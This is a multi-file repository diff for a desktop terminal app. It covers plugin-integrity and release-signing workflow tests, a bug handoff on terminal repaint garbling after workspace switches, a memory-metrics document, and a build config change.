|
||||
)
|
||||
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
|
||||
'packaged bytes do not match stablyai.orca-navigation-shortcuts'
|
||||
)
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
// The tree is hashed by raw bytes, so a CRLF checkout on Windows breaks the
|
||||
// pinned hash. These two guard the `.gitattributes` eol=lf pin that prevents it.
|
||||
it('pins the launch tree to LF so Windows checkouts hash identically', async () => {
|
||||
const attributes = await readFile(join(process.cwd(), '.gitattributes'), 'utf8')
|
||||
expect(attributes).toContain('/resources/plugins/** text eol=lf')
|
||||
})
|
||||
|
||||
it('rejects a CRLF checkout of the launch tree', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
|
||||
recursive: true
|
||||
})
|
||||
for (const entry of await readdir(launchRoot, { recursive: true })) {
|
||||
const path = join(launchRoot, entry)
|
||||
if (!(await stat(path)).isFile()) {
|
||||
continue
|
||||
}
|
||||
await writeFile(path, (await readFile(path, 'utf8')).replace(/\r?\n/g, '\r\n'))
|
||||
}
|
||||
|
||||
// Every file is rewritten, so the first mismatch is whichever plugin sorts
|
||||
// first — don't pin a name a later branch can reorder.
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
|
||||
/packaged bytes do not match stablyai\./
|
||||
)
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,306 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { join, resolve } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
// Why: the inner-binary signing gate silently degraded for four releases because it
|
||||
// shelled out to a hardcoded `node_modules/7zip-bin/...` path that electron-builder
|
||||
// 26.9+ no longer installs. Pin both workflows to the resolver instead (#6487).
|
||||
|
||||
const workflowsDir = resolve(import.meta.dirname, '../..', '.github', 'workflows')
|
||||
|
||||
const GATED_WORKFLOWS = ['release-cut.yml', 'windows-signing-rehearsal.yml']
|
||||
|
||||
function workflowSource(name) {
|
||||
return readFileSync(join(workflowsDir, name), 'utf8')
|
||||
}
|
||||
|
||||
// Why a scanner and not a regex: PowerShell gates here contain braces inside
|
||||
// strings (`"{0,-14} {1} <{2}>" -f ...`) and inside comments, so naive brace
|
||||
// counting mis-pairs and every scope assertion below silently degrades into
|
||||
// "some text appears somewhere in the file". The same walk also lets assertions
|
||||
// distinguish a keyword the shell executes from the same word sitting in a
|
||||
// message string — downgrading `throw` to `Write-Host "...would throw..."`
|
||||
// otherwise passes a `/\bthrow\b/` check while restoring the silent fail-open.
|
||||
|
||||
/** `source` split into `{start, end, kind}` spans, kind being 'code' | 'string' | 'comment'. */
|
||||
function scanSpans(source) {
|
||||
// Here-strings use different terminator rules; refusing them beats mis-pairing silently.
|
||||
expect(source, 'here-strings are not understood by this scanner').not.toMatch(/@['"]/)
|
||||
const spans = []
|
||||
let i = 0
|
||||
while (i < source.length) {
|
||||
const char = source[i]
|
||||
if (char === '#') {
|
||||
const newline = source.indexOf('\n', i)
|
||||
const end = newline === -1 ? source.length : newline
|
||||
spans.push({ start: i, end, kind: 'comment' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
if (char === "'") {
|
||||
let end = i + 1
|
||||
while (end < source.length) {
|
||||
if (source[end] !== "'") {
|
||||
end += 1
|
||||
} else if (source[end + 1] === "'") {
|
||||
end += 2 // doubled '' escapes a quote rather than closing the string
|
||||
} else {
|
||||
break
|
||||
}
|
||||
}
|
||||
end = Math.min(end + 1, source.length)
|
||||
spans.push({ start: i, end, kind: 'string' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
if (char === '"') {
|
||||
let end = i + 1
|
||||
while (end < source.length && source[end] !== '"') {
|
||||
end += source[end] === '`' ? 2 : 1
|
||||
}
|
||||
end = Math.min(end + 1, source.length)
|
||||
spans.push({ start: i, end, kind: 'string' })
|
||||
i = end
|
||||
continue
|
||||
}
|
||||
let end = i
|
||||
while (end < source.length && !'#\'"'.includes(source[end])) {
|
||||
end += 1
|
||||
}
|
||||
spans.push({ start: i, end, kind: 'code' })
|
||||
i = end
|
||||
}
|
||||
return spans
|
||||
}
|
||||
|
||||
/** `source` with the named span kinds blanked to spaces — same length, so indices still line up. */
|
||||
function blank(source, spans, kinds) {
|
||||
const chars = source.split('')
|
||||
for (const span of spans) {
|
||||
if (!kinds.includes(span.kind)) {
|
||||
continue
|
||||
}
|
||||
for (let i = span.start; i < span.end; i += 1) {
|
||||
if (chars[i] !== '\n') {
|
||||
chars[i] = ' '
|
||||
}
|
||||
}
|
||||
}
|
||||
return chars.join('')
|
||||
}
|
||||
|
||||
/** `source` with comments blanked — for assertions whose subject is a literal the gate prints. */
|
||||
function withoutComments(source) {
|
||||
return blank(source, scanSpans(source), ['comment'])
|
||||
}
|
||||
|
||||
/** `source` with strings and comments blanked — for assertions about executed statements. */
|
||||
function codeOf(source) {
|
||||
return blank(source, scanSpans(source), ['string', 'comment'])
|
||||
}
|
||||
|
||||
/**
|
||||
* The `{ ... }` block opening after `marker`. `code` has strings and comments blanked, so a
|
||||
* keyword assertion against it can only be satisfied by a keyword the shell would execute;
|
||||
* `text` keeps strings but drops comments, for assertions about literals the gate emits.
|
||||
*/
|
||||
function blockAfter(source, marker, from = 0) {
|
||||
const spans = scanSpans(source)
|
||||
const code = blank(source, spans, ['string', 'comment'])
|
||||
const markerIndex = code.indexOf(marker, from)
|
||||
expect(markerIndex, `missing marker: ${marker}`).toBeGreaterThan(-1)
|
||||
const start = code.indexOf('{', markerIndex)
|
||||
expect(start, `no block opens after: ${marker}`).toBeGreaterThan(-1)
|
||||
let depth = 0
|
||||
let end = -1
|
||||
for (let i = start; i < source.length && end === -1; i += 1) {
|
||||
if (code[i] === '{') {
|
||||
depth += 1
|
||||
} else if (code[i] === '}') {
|
||||
depth -= 1
|
||||
if (depth === 0) {
|
||||
end = i
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(end, `unbalanced block after: ${marker}`).toBeGreaterThan(-1)
|
||||
return {
|
||||
start,
|
||||
end,
|
||||
code: code.slice(start, end + 1),
|
||||
text: blank(source, spans, ['comment']).slice(start, end + 1)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The innermost `{ ... }` block enclosing `marker`, plus the keyword introducing it.
|
||||
* Needed where the anchor is the block's *contents*: `blockAfter(step, '} catch {')` picks
|
||||
* whichever catch comes first in the file, which stopped being the gate's own once the
|
||||
* persistence helpers grew their own try/catch.
|
||||
*/
|
||||
function blockEnclosing(source, marker) {
|
||||
const spans = scanSpans(source)
|
||||
const code = blank(source, spans, ['string', 'comment'])
|
||||
// Located in the comment-stripped text (the marker may include a string literal),
|
||||
// then paired in `code`; both blankings preserve length, so indices line up.
|
||||
const markerIndex = blank(source, spans, ['comment']).indexOf(marker)
|
||||
expect(markerIndex, `missing marker: ${marker}`).toBeGreaterThan(-1)
|
||||
let depth = 0
|
||||
let end = -1
|
||||
for (let i = markerIndex; i < code.length && end === -1; i += 1) {
|
||||
if (code[i] === '{') {
|
||||
depth += 1
|
||||
} else if (code[i] === '}') {
|
||||
if (depth === 0) {
|
||||
end = i
|
||||
} else {
|
||||
depth -= 1
|
||||
}
|
||||
}
|
||||
}
|
||||
depth = 0
|
||||
let start = -1
|
||||
for (let i = markerIndex; i >= 0 && start === -1; i -= 1) {
|
||||
if (code[i] === '}') {
|
||||
depth += 1
|
||||
} else if (code[i] === '{') {
|
||||
if (depth === 0) {
|
||||
start = i
|
||||
} else {
|
||||
depth -= 1
|
||||
}
|
||||
}
|
||||
}
|
||||
expect(start, `no block encloses: ${marker}`).toBeGreaterThan(-1)
|
||||
expect(end, `no block encloses: ${marker}`).toBeGreaterThan(-1)
|
||||
return { start, end, keyword: code.slice(0, start).trimEnd().split(/\s+/).pop() }
|
||||
}
|
||||
|
||||
describe('Windows signing gates resolve 7za through the toolset resolver (#6487)', () => {
|
||||
for (const name of GATED_WORKFLOWS) {
|
||||
it(`${name} does not hardcode the removed 7zip-bin path`, () => {
|
||||
expect(workflowSource(name)).not.toContain('node_modules/7zip-bin')
|
||||
})
|
||||
|
||||
it(`${name} resolves 7za via resolve-7za-path.mjs`, () => {
|
||||
expect(workflowSource(name)).toContain('node config/scripts/resolve-7za-path.mjs')
|
||||
})
|
||||
|
||||
it(`${name} checks resolver failure before trimming its output`, () => {
|
||||
const source = workflowSource(name)
|
||||
const code = codeOf(source)
|
||||
const resolveIndex = code.indexOf('$7zaOutput = node config/scripts/resolve-7za-path.mjs')
|
||||
const exitCodeIndex = code.indexOf('$7zaExitCode = $LASTEXITCODE')
|
||||
const exitGuard = blockAfter(source, 'if ($7zaExitCode -ne 0)')
|
||||
const trimIndex = code.indexOf('$7za = ($7zaOutput | Out-String).Trim()')
|
||||
|
||||
expect(resolveIndex).toBeGreaterThan(-1)
|
||||
expect(exitCodeIndex).toBeGreaterThan(resolveIndex)
|
||||
expect(exitGuard.start).toBeGreaterThan(exitCodeIndex)
|
||||
expect(exitGuard.code).toMatch(/\bthrow\b/)
|
||||
expect(trimIndex).toBeGreaterThan(exitGuard.end)
|
||||
})
|
||||
|
||||
it(`${name} rejects an empty or non-file 7za path`, () => {
|
||||
const source = workflowSource(name)
|
||||
const guard = blockAfter(
|
||||
source,
|
||||
'if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf))'
|
||||
)
|
||||
expect(guard.code).toMatch(/\bthrow\b/)
|
||||
})
|
||||
}
|
||||
|
||||
// Why sliced to one step: release-cut.yml runs several PowerShell gates that
|
||||
// share idioms (`$failures`, `} catch {`), so a whole-file search silently
|
||||
// asserts against the wrong block.
|
||||
function innerBinaryStep() {
|
||||
const source = workflowSource('release-cut.yml')
|
||||
const start = source.indexOf('- name: Verify Windows inner binary signatures')
|
||||
expect(start).toBeGreaterThan(-1)
|
||||
const end = source.indexOf('\n - name:', start + 1)
|
||||
expect(end).toBeGreaterThan(start)
|
||||
return source.slice(start, end)
|
||||
}
|
||||
|
||||
// Why parse the function body rather than grep the file: asserting that the
|
||||
// string 'Write-GateVerdict' appears somewhere passes even if the body is
|
||||
// gutted to a Write-Host, which is exactly the silent degradation this gate
|
||||
// exists to prevent.
|
||||
function gateVerdictBlock() {
|
||||
return blockAfter(innerBinaryStep(), 'function Write-GateVerdict')
|
||||
}
|
||||
|
||||
it('persists the verdict to the evidence file the artifact upload collects', () => {
|
||||
const block = gateVerdictBlock()
|
||||
expect(block.text).toMatch(/Set-Content\s+-Path\s+'inner-signing-evidence\.txt'/)
|
||||
expect(block.code).toContain('Add-GateSummary')
|
||||
})
|
||||
|
||||
// Why cross-checked: the upload is `if-no-files-found: ignore`, so renaming the
|
||||
// evidence file on one side and not the other ships a green run with an artifact
|
||||
// that silently omits the verdict — the same class as the bug this PR fixes.
|
||||
it('uploads the exact evidence filename the gate writes', () => {
|
||||
const source = workflowSource('release-cut.yml')
|
||||
const uploadStart = source.indexOf('- name: Upload Windows inner signing evidence')
|
||||
expect(uploadStart).toBeGreaterThan(-1)
|
||||
const uploadEnd = source.indexOf('\n - name:', uploadStart + 1)
|
||||
expect(uploadEnd).toBeGreaterThan(uploadStart)
|
||||
const upload = source.slice(uploadStart, uploadEnd)
|
||||
|
||||
const step = innerBinaryStep()
|
||||
const written = new Set(
|
||||
[...withoutComments(step).matchAll(/-Path\s+'([\w.-]+\.txt)'/g)].map((m) => m[1])
|
||||
)
|
||||
expect(written.size).toBeGreaterThan(0)
|
||||
for (const file of written) {
|
||||
expect(upload, `${file} is written by the gate but never uploaded`).toContain(file)
|
||||
}
|
||||
})
|
||||
|
||||
it('never lets verdict persistence itself fail a warn-only release', () => {
|
||||
// Every persistence helper is best-effort: a disk-full or read-only runner
|
||||
// must not turn evidence-writing into the thing that fails the release.
|
||||
const step = innerBinaryStep()
|
||||
for (const helper of ['function Add-GateEvidence', 'function Add-GateSummary']) {
|
||||
const code = blockAfter(step, helper).code
|
||||
expect(code, helper).toContain('-ErrorAction Stop')
|
||||
expect(code, helper).toMatch(/\bcatch\b/)
|
||||
}
|
||||
expect(gateVerdictBlock().code).toMatch(/\bcatch\b/)
|
||||
})
|
||||
|
||||
it('records a verdict on every terminal branch of the gate', () => {
|
||||
// Comments stripped: a `# VERDICT: PASSED` note must not stand in for the write.
|
||||
const step = withoutComments(innerBinaryStep())
|
||||
for (const verdict of ['NOT VERIFIED', 'ERRORED', 'VERDICT: FAILED', 'VERDICT: PASSED']) {
|
||||
expect(step).toContain(verdict)
|
||||
}
|
||||
})
|
||||
|
||||
it('throws a required-mode signature failure outside the catch that would mask it', () => {
|
||||
// Why: throwing inside `try` re-enters the catch, whose Set-Content
|
||||
// replaces the per-file report with "ERRORED — <exception>".
|
||||
const step = innerBinaryStep()
|
||||
const policyThrow = codeOf(step).indexOf('if ($policyFailure) { throw $policyFailure }')
|
||||
expect(policyThrow).toBeGreaterThan(-1)
|
||||
// Anchored on the gate's own handler, not the first `catch` in the step: the
|
||||
// persistence helpers have their own, and they sit earlier in the file.
|
||||
const gateCatch = blockEnclosing(step, 'Write-GateVerdict "ERRORED')
|
||||
expect(gateCatch.keyword).toBe('catch')
|
||||
expect(policyThrow).toBeGreaterThan(gateCatch.end)
|
||||
})
|
||||
|
||||
// Why: the assignment is what survives a write failure. With it after the
|
||||
// evidence/summary writes, a throwing Add-Content lands in the catch with
|
||||
// $policyFailure still null — required mode reports ERRORED and overwrites the
|
||||
// per-file report, reintroducing exactly the loss the hoist prevents.
|
||||
it('records the required-mode failure before attempting any evidence write', () => {
|
||||
const branch = blockAfter(innerBinaryStep(), 'if ($failures.Count -gt 0)').code
|
||||
const assignment = branch.indexOf('$policyFailure = $message')
|
||||
expect(assignment).toBeGreaterThan(-1)
|
||||
for (const write of ['Add-GateEvidence', 'Add-GateSummary']) {
|
||||
expect(branch.indexOf(write), write).toBeGreaterThan(assignment)
|
||||
}
|
||||
})
|
||||
})
|
||||
@@ -1,5 +1,5 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 10m">
|
||||
<title>downloads: 10m</title>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 11m">
|
||||
<title>downloads: 11m</title>
|
||||
<linearGradient id="s" x2="0" y2="100%">
|
||||
<stop offset="0" stop-color="#bbb" stop-opacity=".1"/>
|
||||
<stop offset="1" stop-opacity=".1"/>
|
||||
@@ -15,7 +15,7 @@
|
||||
<g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="11">
|
||||
<text x="37" y="15" fill="#010101" fill-opacity=".3">downloads</text>
|
||||
<text x="37" y="14">downloads</text>
|
||||
<text x="90" y="15" fill="#010101" fill-opacity=".3">10m</text>
|
||||
<text x="90" y="14">10m</text>
|
||||
<text x="90" y="15" fill="#010101" fill-opacity=".3">11m</text>
|
||||
<text x="90" y="14">11m</text>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 935 B After Width: | Height: | Size: 935 B |
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,213 @@
|
||||
# STA-2694 — garbled terminal after switching away from an AI workspace
|
||||
|
||||
Handoff snapshot: 2026-07-27, branch
|
||||
`neil/sta-2694-fix-ui-rendering-artifacts-when-switching-away-from-ai`.
|
||||
|
||||
## The report
|
||||
|
||||
> When I use an AI tool—such as OpenCode—and switch away to the desktop or
|
||||
> another task, the page appears garbled or distorted upon returning; I have to
|
||||
> resize the window to restore the display.
|
||||
|
||||
Reporter hints: related to terminal parking / workspace switching; also happens
|
||||
with Claude Code and probably grok.
|
||||
|
||||
## Status
|
||||
|
||||
**One defect, root-caused and fixed, with a mechanism-level test that fails
|
||||
without the fix.** The garble window is *unbounded*, not the ~1s I originally
|
||||
claimed — see [the correction](#correction-the-window-is-unbounded).
|
||||
|
||||
A second hypothesis was implemented, then **refuted by measurement and
|
||||
reverted**. That refutation is the other half of the value here: it rules out a
|
||||
whole class of "just force a fuller repaint" fixes, and it is pinned by a test so
|
||||
it cannot be reintroduced.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Fix | `ed1eaf55f1` — release an abandoned synchronized-output frame on reveal |
|
||||
| Refuted + reverted | `0f7ec4458d`, reverted in `8d5eacecb4` |
|
||||
| Oracle + scope correction | `3ccffc17ec` |
|
||||
| Unit tests | 8 passing across 2 files |
|
||||
| e2e | 5 draw-command oracle + 10 headless convergence + 1 headful |
|
||||
| Teeth-verified | Yes — removing the fix fails the stranded-latch test |
|
||||
|
||||
## The defect
|
||||
|
||||
Alt-screen agent TUIs (OpenCode/OpenTUI, Codex, grok) bracket every repaint in
|
||||
DEC 2026 synchronized output — `\x1b[?2026h … \x1b[?2026l` — many times a second.
|
||||
Hide a pane mid-bracket (a worktree switch, a cold park, or an OS-level occlusion
|
||||
lands there routinely) and xterm keeps
|
||||
`decPrivateModes.synchronizedOutput` latched `true`.
|
||||
|
||||
`RenderService.refreshRows` checks that latch **before** rendering
|
||||
(`RenderService.ts:162`), so while it holds, every repaint Orca owns is a no-op:
|
||||
the forced render-pause repaint, the plain `refresh()` fallback, and the shared
|
||||
glyph-atlas rebuild all render zero rows against a perfectly correct buffer.
|
||||
|
||||
The fix (`terminal-synchronized-output-release.ts`) clears the latch and flushes
|
||||
the handler's buffered row range at both reveal repaint entry points, before the
|
||||
repaint. Both reveal paths reach it:
|
||||
|
||||
- `schedulePaneRevealPresent` (plain refocus / desktop return)
|
||||
- `resetWebglTextureAtlas` (worktree switch, cold park, tab reveal — also reached
|
||||
from `resetAndRefreshAllTerminalWebglAtlases` via the light tab-resume path)
|
||||
|
||||
### Correction: the window is unbounded
|
||||
|
||||
`ed1eaf55f1`'s commit message says this "closes a bounded window rather than the
|
||||
whole STA-2694 report", because xterm arms a 1s watchdog that clears the latch.
|
||||
**That was wrong.** The watchdog is armed only inside
|
||||
`SynchronizedOutputHandler.bufferRows`, and `refreshRows` returns at its
|
||||
`_isPaused` check *first*:
|
||||
|
||||
```ts
|
||||
public refreshRows(start, end, sync = false, isRedrawOnly = false): void {
|
||||
if (this._isPaused) { this._needsFullRefresh = true; return } // ← occluded pane stops here
|
||||
if (this._coreService.decPrivateModes.synchronizedOutput) {
|
||||
this._syncOutputHandler.bufferRows(start, end) // ← only place the watchdog arms
|
||||
return
|
||||
}
|
||||
...
|
||||
```
|
||||
|
||||
While a pane is occluded its `IntersectionObserver` sets `_isPaused`, so nothing
|
||||
ever reaches `bufferRows` and **no timer is ever pending**. A pane hidden
|
||||
mid-frame holds the latch with no watchdog behind it, indefinitely — which is the
|
||||
indefinite garble the report describes. `terminal-reveal-draw-command-probe.spec.ts`
|
||||
asserts exactly this: latch set, `_timeout === undefined`, and a repaint drawing
|
||||
0 instances.
|
||||
|
||||
This also explains the specific workaround: resizing the window makes the TUI
|
||||
repaint via SIGWINCH, and that repaint's closing `?2026l` clears the latch.
|
||||
|
||||
## The refuted hypothesis (do not reimplement)
|
||||
|
||||
The idea: xterm's renderers are diff-based, so a reveal `refresh()` skips cells
|
||||
whose model entry still matches the buffer, leaving an occluded canvas showing
|
||||
pre-hide pixels until a resize rebuilds the model. It is a *plausible* reading —
|
||||
`WebglRenderer._updateModel` really does early-continue per unchanged cell.
|
||||
|
||||
It is wrong, measured on a live pane:
|
||||
|
||||
| Refresh | `updateCell` calls | instances drawn |
|
||||
|---|---|---|
|
||||
| diff-skipped (model matches buffer) | 0 | 562 |
|
||||
| model cleared first | 561 | 562 |
|
||||
|
||||
`GlyphRenderer.render` copies vertices for **every** row up to `lineLengths[y]`
|
||||
into the active buffer and issues **one** full-viewport `drawElementsInstanced`.
|
||||
The diff only decides how much *vertex data* is rewritten, never how much is
|
||||
*drawn*. The DOM renderer likewise `replaceChildren()`s every row
|
||||
unconditionally. So clearing the model cannot change what reaches the screen.
|
||||
|
||||
Worse, it has a cost: `_clearModel(true)` zeroes every glyph vertex, and
|
||||
`RenderService.clear()` fires no repaint of its own — so any paint landing between
|
||||
the clear and the repopulating refresh draws an **empty** viewport (0 instances,
|
||||
also asserted in the spec). On a reveal that refresh is debounced through a RAF
|
||||
and can itself be swallowed, which would turn a merely-stale pane into a blank
|
||||
one. Reverted in `8d5eacecb4`.
|
||||
|
||||
The first test in the oracle spec pins the refutation so this cannot come back as
|
||||
a "fix".
|
||||
|
||||
## Why pixel oracles failed, and what replaced them
|
||||
|
||||
The field defect is "the buffer is correct but the compositor shows pre-hide
|
||||
pixels". Two pixel oracles were built and **both were proven blind** by injecting
|
||||
that exact defect (freeze `RenderService.refreshRows`, then write new content):
|
||||
|
||||
1. **Canvas-vs-buffer ink sampling.** `drawImage` on a
|
||||
non-`preserveDrawingBuffer` WebGL canvas hands back a *re-rendered* copy — it
|
||||
reported 0 missing cells against 5263 cells of text the canvas had never
|
||||
drawn.
|
||||
2. **Screenshot vs. a forced repaint.** Playwright's screenshot drives a fresh
|
||||
compositor frame, which *heals* the stale paint before capture; and the
|
||||
"repair" ran the same code the reveal already ran, so a shared defect cancels
|
||||
out.
|
||||
|
||||
An earlier resize-referenced oracle was also unsound: resizing shifts alt-screen
|
||||
rows, so its 4.4% pixel diff measured legitimate reflow.
|
||||
|
||||
**Pixels are the wrong layer** — anything that reads them can trigger the repaint
|
||||
that hides the bug. `tests/e2e/terminal-reveal-draw-command-probe.spec.ts`
|
||||
instead wraps `GlyphRenderer.updateCell` and `gl.drawElementsInstanced` on the
|
||||
live pane and counts draw commands. A draw command cannot be healed after the
|
||||
fact, so "did the reveal repaint?" is directly observable — and falsifiable,
|
||||
which is how the second hypothesis got refuted.
|
||||
|
||||
Use that spec for **paint** questions;
|
||||
`terminal-opencode-altscreen-reveal-artifacts.spec.ts` for **buffer, geometry and
|
||||
PTY-size convergence** (worktree switch, cold park, idle agent, headful desktop
|
||||
hide). The idle-agent case matters: every earlier test kept the TUI streaming
|
||||
across the reveal, so live frames repainted whatever the reveal got wrong and the
|
||||
defect healed itself before any assertion ran.
|
||||
|
||||
## Leads closed by measurement
|
||||
|
||||
Both were live suspects in the previous handoff; both are now ruled out.
|
||||
|
||||
- **Dimension staleness.** Every dimension-rebuilding path in `WebglRenderer` is
|
||||
behind an unchanged/zero-sized early exit that a hidden pane trips, and
|
||||
`performSafeFit` early-returns at unchanged geometry — so nothing on the reveal
|
||||
path re-runs `handleResize()`. Measured across a real `window.hide()` /
|
||||
`show()`: canvas backing store `1272×1104` matched the renderer's computed
|
||||
dimensions exactly, char metrics stayed `8.65×16`, `_isAttached` stayed true,
|
||||
the screen element stayed connected. No staleness.
|
||||
- **Lagging atlas page bindings.** Right after a reveal the bound texture version
|
||||
*does* lag the atlas page (e.g. 1297 vs 1366) — but bindings are lazy and
|
||||
`GlyphRenderer.render` rebinds any page whose version moved, so one repaint
|
||||
brings them level (1366/1366). Normal, not a defect. Judge bindings only
|
||||
*after* a draw.
|
||||
|
||||
## Residual risk
|
||||
|
||||
The oracle proves the repaint is *issued*; it does not photograph the user's
|
||||
screen. If a report survives this fix, the remaining suspects are below the draw
|
||||
call — GPU-process/compositor-level content loss — where the in-app sentinel on
|
||||
real hardware is the tool:
|
||||
|
||||
```js
|
||||
localStorage.setItem('orca:render-desync-sentinel', '1') // then reload
|
||||
```
|
||||
|
||||
Reproduce, then **⌘-click** (Ctrl-click off Mac) in the garbled pane. That starts
|
||||
a 10s burst at 250ms intervals; a trip needs the same cells missing across 2
|
||||
consecutive samples, ≥200 text cells, ≥8% missing. It writes `corrupt.png` +
|
||||
`corrupt.json` to `<userData>/terminal-render-desync-evidence/<captureId>/`, then
|
||||
runs atlas recovery and captures the healed frame. Armed at import when the flag
|
||||
is set (`terminal-freeze-breadcrumbs.ts:45`).
|
||||
|
||||
## Verification commands
|
||||
|
||||
```bash
|
||||
npx vitest run --config config/vitest.config.ts src/renderer/src/lib/pane-manager/
|
||||
npx tsc --noEmit -p config/tsconfig.tc.web.json
|
||||
npx playwright test tests/e2e/terminal-reveal-draw-command-probe.spec.ts \
|
||||
tests/e2e/terminal-opencode-altscreen-reveal-artifacts.spec.ts \
|
||||
tests/e2e/terminal-inline-tui-reveal-convergence.spec.ts \
|
||||
--config tests/playwright.config.ts --project=electron-headless --workers=1
|
||||
SKIP_BUILD=1 npx playwright test tests/e2e/terminal-opencode-altscreen-reveal-artifacts.spec.ts \
|
||||
--config tests/playwright.config.ts --project=electron-headful --workers=1
|
||||
```
|
||||
|
||||
To confirm the fix still has teeth, delete the
|
||||
`releaseAbandonedSynchronizedOutput(pane.terminal)` line from
|
||||
`schedulePaneRevealPresent` and re-run the oracle: the stranded-latch test fails
|
||||
with "the reveal repaint did not release the stranded latch, so the pane stays
|
||||
frozen".
|
||||
|
||||
## Files
|
||||
|
||||
Production:
|
||||
|
||||
- `src/renderer/src/lib/pane-manager/terminal-synchronized-output-release.ts` (the fix)
|
||||
- `src/renderer/src/lib/pane-manager/pane-reveal-repaint.ts` (`schedulePaneRevealPresent`)
|
||||
- `src/renderer/src/lib/pane-manager/pane-webgl-renderer.ts` (`resetWebglTextureAtlas`)
|
||||
|
||||
Tests:
|
||||
|
||||
- `terminal-synchronized-output-release.test.ts`, `reveal-repaint-synchronized-output.test.ts`
|
||||
- `tests/e2e/terminal-reveal-draw-command-probe.spec.ts` (the oracle)
|
||||
- `tests/e2e/terminal-opencode-altscreen-reveal-artifacts.spec.ts`,
|
||||
`tests/e2e/fixtures/opencode-altscreen-live-fixture.cjs`
|
||||
@@ -0,0 +1,54 @@
|
||||
# Resource Manager memory metrics
|
||||
|
||||
Resource Manager reports two different kinds of memory data. Process totals describe Orca and
|
||||
locally managed terminal processes; host totals describe the machine running Orca. They are not
|
||||
interchangeable.
|
||||
|
||||
## Process memory
|
||||
|
||||
Each snapshot declares one `processMemoryMetric`:
|
||||
|
||||
| Platform | Metric | Source |
|
||||
| ------------ | ------------- | ---------------------------------------------------------- |
|
||||
| macOS, Linux | `rss` | `ps` resident set size |
|
||||
| Windows | `working-set` | CIM `WorkingSetSize`, with a Typeperf working-set fallback |
|
||||
|
||||
Orca walks each registered local PTY subtree and claims every PID at most once. App, session,
|
||||
worktree, history, and snapshot memory values are sums of those per-process samples.
|
||||
|
||||
RSS and working set are not unique physical-memory measurements. Shared pages can appear in more
|
||||
than one process, and macOS can count the same resident page through multiple mappings in one
|
||||
process. A sum can therefore exceed physical RAM. Product copy and diagnostics must identify the
|
||||
metric as a sum and must not present it as a percentage of system RAM.
|
||||
|
||||
Remote SSH and relay sessions do not receive invented local samples. They remain unavailable until
|
||||
the executing host supplies resource data. Folder workspaces use the same registered-PTY
|
||||
attribution as Git worktrees.
|
||||
|
||||
## Host memory
|
||||
|
||||
`HostMemory` keeps immediate free memory separate from memory available without material pressure:
|
||||
|
||||
- `freeMemory` is Node's host free-memory value.
|
||||
- `availableMemory` is the best bounded platform value.
|
||||
- `usedMemory` is `totalMemory - availableMemory`.
|
||||
- `memoryUsagePercent` is derived from `usedMemory`.
|
||||
- `availableMemorySource` identifies how availability was measured.
|
||||
|
||||
The sources are:
|
||||
|
||||
| Platform | Preferred source | Fallback |
|
||||
| -------- | ----------------------------------------- | ---------------- |
|
||||
| macOS | `memory_pressure -Q` available percentage | Node free memory |
|
||||
| Linux | `/proc/meminfo` `MemAvailable` | Node free memory |
|
||||
| Windows | Node free memory | Node free memory |
|
||||
|
||||
This percentage describes host availability. It is not derived from the summed process metric.
|
||||
|
||||
## Bounded collection
|
||||
|
||||
Resource Manager polls while its popover is open, so every snapshot must remain bounded under a
|
||||
large process tree. macOS `footprint` provides a more physical process metric, but collecting it
|
||||
across dozens of processes is too expensive for this path. A future physical-footprint backend
|
||||
must use a bounded host API or helper and declare a distinct metric before product copy treats it
|
||||
as physical memory.
|
||||
+40
-4
@@ -1,8 +1,24 @@
|
||||
import { isBuiltin } from 'node:module'
|
||||
import { resolve } from 'node:path'
|
||||
import { defineConfig } from 'electron-vite'
|
||||
import { defineConfig, type UserConfig } from 'electron-vite'
|
||||
import react from '@vitejs/plugin-react'
|
||||
import tailwindcss from '@tailwindcss/vite'
|
||||
import { createPlainNodeEntryGuardPlugin } from './build-plugins/plain-node-entry-guard'
|
||||
import packageJson from './package.json' with { type: 'json' }
|
||||
|
||||
const BUNDLED_MAIN_DEPENDENCIES = new Set(['@xterm/headless', '@xterm/addon-serialize'])
|
||||
const EXTERNAL_MAIN_DEPENDENCIES = Object.keys(packageJson.dependencies).filter(
|
||||
(dependency) => !BUNDLED_MAIN_DEPENDENCIES.has(dependency)
|
||||
)
|
||||
|
||||
function isExternalMainModule(source: string): boolean {
|
||||
if (isBuiltin(source) || source === 'electron' || source.startsWith('electron/')) {
|
||||
return true
|
||||
}
|
||||
return EXTERNAL_MAIN_DEPENDENCIES.some(
|
||||
(dependency) => source === dependency || source.startsWith(`${dependency}/`)
|
||||
)
|
||||
}
|
||||
|
||||
// Why: the telemetry transport is gated by two compile-time constants that
|
||||
// only the official CI release workflow sets. Contributor / `pnpm dev` /
|
||||
@@ -165,7 +181,7 @@ function createStartupDiagnosticsBootstrapPlugin() {
|
||||
}
|
||||
}
|
||||
|
||||
export default defineConfig({
|
||||
export const electronViteConfig: UserConfig = {
|
||||
main: {
|
||||
build: {
|
||||
// Why: daemon-entry.js is asar-unpacked so child_process.fork() can
|
||||
